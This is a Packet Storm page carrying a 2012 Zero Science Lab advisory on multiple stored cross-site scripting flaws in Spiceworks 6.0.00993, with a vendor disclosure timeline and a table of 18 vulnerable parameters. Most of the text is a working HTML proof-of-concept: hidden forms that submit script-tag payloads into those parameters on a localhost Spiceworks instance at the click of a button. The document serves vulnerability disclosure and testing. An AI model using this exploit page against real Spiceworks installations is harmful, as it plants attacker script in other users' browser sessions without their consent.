what you don't know can hurt you

Spiceworks 6.0.00993 Cross Site Scripting

Spiceworks 6.0.00993 Cross Site Scripting
Posted Sep 17, 2012
Authored by LiquidWorm | Site zeroscience.mk

Spiceworks suffers from multiple stored cross site scripting vulnerabilities. The issues are triggered when input passed via several parameters to several scripts is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Versions 6.0.00993 and 6.0.00966 are affected.

tags | exploit, arbitrary, vulnerability, xss
MD5 | 29cc4191f82c4bf00d9359b919b7f4b3

Spiceworks 6.0.00993 Cross Site Scripting

Change Mirror Download
<!--


Title: Spiceworks 6.0.00993 Multiple Script Injection Vulnerabilities


Vendor: Spiceworks Inc.
Product web page: http://www.spiceworks.com
Affected version: 6.0.00993 and 6.0.00966

Summary: The Spiceworks IT Desktop delivers nearly everything you need to simplify your
IT job. Available in a variety of languages, Spiceworks' single, easy-to-use interface
combines Network Inventory, Help Desk, Mapping, Reporting, Monitoring and Troubleshooting.
And, it connects you with other IT pros to share ideas, solve problems and decide what
additional features you need in Spiceworks.

Desc: Spiceworks suffers from multiple stored cross-site scripting vulnerabilities. The
issues are triggered when input passed via several parameters to several scripts is not
properly sanitized before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context of an affected site.
List of parameters and modules that are affected:


--------------------------------------------------------------------------------------------------------------
# * Parameter * * Module / Component *
--------------------------------------------------------------------------------------------------------------

1. agreement[account] ...................................... agreements
2. article[new_references][][url] .......................... xbb/knowledge_base
3. asset[device_type] ...................................... asset
4. asset[mac_address] ...................................... asset
5. asset[name] ............................................. asset
6. category[name] .......................................... settings/categories
7. international[global_date_abbrev_format] ................ settings/advanced/save_international_settings
8. international[global_date_format] ....................... settings/advanced/save_international_settings
9. international[global_date_time_format] .................. settings/advanced/save_international_settings
10. international[global_date_simple_format] ................ settings/advanced/save_international_settings
11. international[global_time_format] ....................... settings/advanced/save_international_settings
12. navigation[name] ........................................ my_tools
13. purchase[name] .......................................... purchases
14. purchase[price] ......................................... purchases
15. purchase[purchased_for_name] ............................ purchases
16. report[description] ..................................... reports/create
17. vendor[name] ............................................ agreements
18. vendor[website] ......................................... agreements

--------------------------------------------------------------------------------------------------------------


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.2.19
Ruby 1.9.1
SQLite 3.7.5


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk


Vendor status:

[26.08.2012] Vulnerabilities discovered.
[29.08.2012] Contact with the vendor.
[29.08.2012] Vendor responds asking more details.
[29.08.2012] Sent detailed information to the vendor.
[29.08.2012] Vendor confirms receiving files.
[03.09.2012] Asked vendor for confirmation.
[04.09.2012] Vendor awaits status from submited ticket to development team.
[11.09.2012] Asked vendor for status update.
[11.09.2012] Vendor says that the development team is still investigating.
[13.09.2012] Informed the vendor that the advisory will be published on 17th of September.
[14.09.2012] Vendor replies stating that a developer will contact us.
[17.09.2012] No contact from the development team.
[17.09.2012] Public security advisory released.


Advisory ID: ZSL-2012-5107
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5107.php

Spiceworks: http://community.spiceworks.com/help#Current


26.08.2012


-->


<html>
<head>
<title>Spiceworks 6.0.00993 Multiple Script Injection Vulnerabilities</title>
<link rel="Shortcut Icon" href="http://zeroscience.mk/favicon.ico" type="image/x-icon">
</head>
<body bgcolor="#1C1C1C" leftmargin="100"><br />
<img style="margin-left:10" src="http://zeroscience.mk/images/zsl-logo1.png" hight="20%" width="20%">

<script type="text/javascript">

var disclaimer = "This document and all the information it contains are provided \"as is\",\n" +
"for educational purposes only, without warranty of any kind, whether\n" +
"express or implied.\n\n" +

"The author reserves the right not to be responsible for the topicality,\n" +
"correctness, completeness or quality of the information provided in\n" +
"this document. Liability claims regarding damage caused by the use of\n" +
"any information provided, including any kind of information which is\n" +
"incomplete or incorrect, will therefore be rejected.";

var answ = confirm(disclaimer);

if (answ == true){}else{window.location.href = "http://www.spiceworks.com";}

function xss1(){document.forms["xss1"].submit();}
function xss2(){document.forms["xss2"].submit();}
function xss3(){document.forms["xss3"].submit();}
function xss4(){document.forms["xss4"].submit();}
function xss5(){document.forms["xss5"].submit();}
function xss6(){document.forms["xss6"].submit();}
function xss7(){document.forms["xss7"].submit();}
function xss8(){document.forms["xss8"].submit();}

</script>

<center><h2 style="position:absolute;left:525;top:32;background-color:#BAB8B9;width:200">
HTML Response:</h2></center>

<iframe src="http://localhost/login" width="1100" height="700"
name="ZSL_iframe" align="top" frameborder="1" style="position:absolute;left:525;
top:80;background-color:#cecece;border-color:#FFFFFF"></iframe>

<font color="#FF6633" size="2" style="position:absolute;top:795px;right:55px">v1.6</font>

<form action="http://localhost/agreements"
enctype="application/x-www-form-urlencoded" method="POST" id="xss1" target="ZSL_iframe">
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
<input type="hidden" name="agreement[account]" value='"><script>alert(1);</script>' />
<input type="hidden" name="agreement[account_manager]" value="" />
<input type="hidden" name="agreement[agreement_type]" value="other-vendor" />
<input type="hidden" name="agreement[cost]" value="1" />
<input type="hidden" name="agreement[cost_unit]" value="per month" />
<input type="hidden" name="agreement[email]" value="" />
<input type="hidden" name="agreement[phone]" value="" />
<input type="hidden" name="agreement[service_end]" value="1" />
<input type="hidden" name="agreement[service_start]" value="" />
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
<input type="hidden" name="from" value="sp_toolbar" />
<input type="hidden" name="purchase_id" value="" />
<input type="hidden" name="vendor[id]" value="" />
<input type="hidden" name="vendor[name]" value='"><script>alert(2);</script>' />
<input type="hidden" name="vendor[website]" value='"><script>alert(3);</script>' />
</form>

<!-- (New Article in Knowledge Base) -->

<form action="http://localhost/xbb/knowledge_base?uuid=f467c1ba-9b18-4325-b441-de9b4f42f555&ehash=edad6981ec082863da194e104a9257ff"
enctype="application/x-www-form-urlencoded" method="POST" id="xss2" target="ZSL_iframe">
<input type="hidden" name="article[end_content]" value="" />
<input type="hidden" name="article[new_references][][temp_id]" value="c33" />
<input type="hidden" name="article[new_references][][title]" value="ZSL" />
<input type="hidden" name="article[new_references][][url]" value='"><script>alert(4);</script>' />
<input type="hidden" name="article[new_steps][][content]" value="1" />
<input type="hidden" name="article[new_steps][][position]" value="1" />
<input type="hidden" name="article[new_steps][][temp_id]" value="c30" />
<input type="hidden" name="article[new_steps][][title]" value="1" />
<input type="hidden" name="article[shared_with]" value="0" />
<input type="hidden" name="article[start_content]" value="1" />
<input type="hidden" name="article[title]" value="1" />
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
</form>

<form action="http://localhost/asset"
enctype="application/x-www-form-urlencoded" method="POST" id="xss3" target="ZSL_iframe">
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
<input type="hidden" name="active_tab" value="general" />
<input type="hidden" name="asset[c_purchase_date]" value="" />
<input type="hidden" name="asset[c_purchase_price]" value="12" />
<input type="hidden" name="asset[device_type]" value='"><script>alert(5);</script>' />
<input type="hidden" name="asset[mac_address]" value='"><script>alert(6);</script>' />
<input type="hidden" name="asset[manually_added]" value="true" />
<input type="hidden" name="asset[name]" value='"><script>alert(7);</script>' />
<input type="hidden" name="asset[serial_number]" value="111" />
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
<input type="hidden" name="category_from" value="8" />
<input type="hidden" name="custom_reclassify" value="" />
<input type="hidden" name="from" value="dashboard" />
<input type="hidden" name="mode" value="" />
<input type="hidden" name="shown" value="true" />
</form>

<form action="http://localhost/settings/categories"
enctype="application/x-www-form-urlencoded" method="POST" id="xss4" target="ZSL_iframe">
<input type="hidden" name="_method" value="put" />
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
<input type="hidden" name="category[icon]" value="user_defined" />
<input type="hidden" name="category[id]" value="39" />
<input type="hidden" name="category[name]" value='"><script>alert(8);</script>' />
<input type="hidden" name="category[rule_set_attributes][and_or]" value="OR" />
<input type="hidden" name="category[rule_set_attributes][klass]" value="Device" />
<input type="hidden" name="icon" value="" />
</form>

<form action="http://localhost/settings/advanced/save_international_settings"
enctype="application/x-www-form-urlencoded" method="POST" id="xss5" target="ZSL_iframe">
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
<input type="hidden" name="btn" value="save" />
<input type="hidden" name="international[currency]" value="USD" />
<input type="hidden" name="international[global_date_abbrev_format]" value='"><script>alert(9);</script>' />
<input type="hidden" name="international[global_date_format]" value='"><script>alert(10);</script>' />
<input type="hidden" name="international[global_date_simple_format]" value='"><script>alert(11);</script>' />
<input type="hidden" name="international[global_date_time_format]" value='"><script>alert(12);</script>' />
<input type="hidden" name="international[global_time_format]" value='"><script>alert(13);</script>' />
<input type="hidden" name="international[locale]" value="en" />
</form>

<form action="http://localhost/my_tools"
enctype="application/x-www-form-urlencoded" method="POST" id="xss6" target="ZSL_iframe">
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
<input type="hidden" name="navigation[name]" value='"><script>alert(14);</script>' />
<input type="hidden" name="navigation[url]" value="1" />
</form>

<form action="http://localhost/purchases"
enctype="application/x-www-form-urlencoded" method="POST" id="xss7" target="ZSL_iframe">
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
<input type="hidden" name="active_tab" value="undefined" />
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
<input type="hidden" name="purchase[agreement_id]" value="" />
<input type="hidden" name="purchase[agreement_id]" value="" />
<input type="hidden" name="purchase[charge_to]" value="General" />
<input type="hidden" name="purchase[name]" value='"><script>alert(15);</script>' />
<input type="hidden" name="purchase[notes]" value="" />
<input type="hidden" name="purchase[part_number]" value="" />
<input type="hidden" name="purchase[price]" value='"><script>alert(16);</script>' />
<input type="hidden" name="purchase[purchase_order]" value="" />
<input type="hidden" name="purchase[purchased_for_id]" value="" />
<input type="hidden" name="purchase[purchased_for_name]" value='"><script>alert(17);</script>' />
<input type="hidden" name="purchase[purchased_for_type]" value="" />
<input type="hidden" name="purchase[quantity]" value="1" />
<input type="hidden" name="purchase_source" value="purchases_page" />
<input type="hidden" name="viewing_asset_id" value="undefined" />
<input type="hidden" name="viewing_asset_type" value="undefined" />
</form>

<form action="http://localhost/reports/create"
enctype="application/x-www-form-urlencoded" method="POST" id="xss8" target="ZSL_iframe">
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />
<input type="hidden" name="btn" value="" />
<input type="hidden" name="form_action" value="create" />
<input type="hidden" name="report[and_or]" value="AND" />
<input type="hidden" name="report[class_type]" value="DeviceReport" />
<input type="hidden" name="report[description]" value='"><script>alert(18);</script>' />
<input type="hidden" name="report[id]" value="" />
<input type="hidden" name="report[name]" value="Zero Science Lab" />
<input type="hidden" name="report[public]" value="0" />
<input type="hidden" name="report[public]" value="1" />
<input type="hidden" name="report[sql]" value="" />
<input type="hidden" name="report_field[][field_name]" value="name" />
<input type="hidden" name="report_field[][field_name]" value="primary_owner_name" />
<input type="hidden" name="report_field[][field_name]" value="ip_address" />
<input type="hidden" name="report_field[][field_name]" value="operating_system" />
<input type="hidden" name="report_field[][field_name]" value="serial_number" />
<input type="hidden" name="report_field[][field_name]" value="manufacturer" />
<input type="hidden" name="report_field[][field_name]" value="device_type" />
<input type="hidden" name="report_field_add" value="" />
<input type="hidden" name="report_fields_selected[]" value="name" />
<input type="hidden" name="report_fields_selected[]" value="primary_owner_name" />
<input type="hidden" name="report_fields_selected[]" value="ip_address" />
<input type="hidden" name="report_fields_selected[]" value="operating_system" />
<input type="hidden" name="report_fields_selected[]" value="serial_number" />
<input type="hidden" name="report_fields_selected[]" value="manufacturer" />
<input type="hidden" name="report_fields_selected[]" value="device_type" />
<input type="hidden" name="report_filter[1346077855344195][key]" value="name" />
<input type="hidden" name="report_filter[1346077855344195][operator]" value="contains" />
<input type="hidden" name="report_filter[1346077855344195][value]" value="Begin typing for options..." />
<input type="hidden" name="run" value="1" />
</form>


<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
value="&nbsp;&nbsp;1. agreement[account]
&nbsp;&nbsp;2. vendor[name]
&nbsp;&nbsp;3. vendor[website]" onClick="xss1()" />
<br />
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
value="&nbsp;&nbsp;4. article[new_references][][url]" onClick="xss2()" />
<br />
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
value="&nbsp;&nbsp;5. asset[device_type]
&nbsp;&nbsp;6. asset[mac_address]
&nbsp;&nbsp;7. asset[name]" onClick="xss3()" />
<br />
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
value="&nbsp;&nbsp;8. category[name]" onClick="xss4()" />
<br />
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
value="&nbsp;&nbsp;9. international[global_date_abbrev_format]
10. international[global_date_format]
11. international[global_date_time_format]
12. international[global_date_simple_format]
13. international[global_time_format]" onClick="xss5()" />
<br />
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
value="14. navigation[name]" onClick="xss6()" />
<br />
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
value="15. purchase[name]
16. purchase[price]
17. purchase[purchased_for_name]" onClick="xss7()" />
<br />
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"
value="18. report[description]" onClick="xss8()" />
<br /><font color="#FF6633" style="margin-left:20">==================================<br />
<br /><br /><br />
<font color="#FF6633" size="1" style="margin-left:20">2012 &copy; <a href="http://www.zeroscience.mk"
target="_blank" style="text-decoration:none"><font color="#FF6633">Zero Science Lab</font></a>

</body></html>
Login or Register to add favorites

File Archive:

January 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    0 Files
  • 3
    Jan 3rd
    20 Files
  • 4
    Jan 4th
    4 Files
  • 5
    Jan 5th
    37 Files
  • 6
    Jan 6th
    20 Files
  • 7
    Jan 7th
    4 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    0 Files
  • 10
    Jan 10th
    18 Files
  • 11
    Jan 11th
    8 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    31 Files
  • 14
    Jan 14th
    2 Files
  • 15
    Jan 15th
    2 Files
  • 16
    Jan 16th
    2 Files
  • 17
    Jan 17th
    18 Files
  • 18
    Jan 18th
    13 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    29 Files
  • 21
    Jan 21st
    12 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close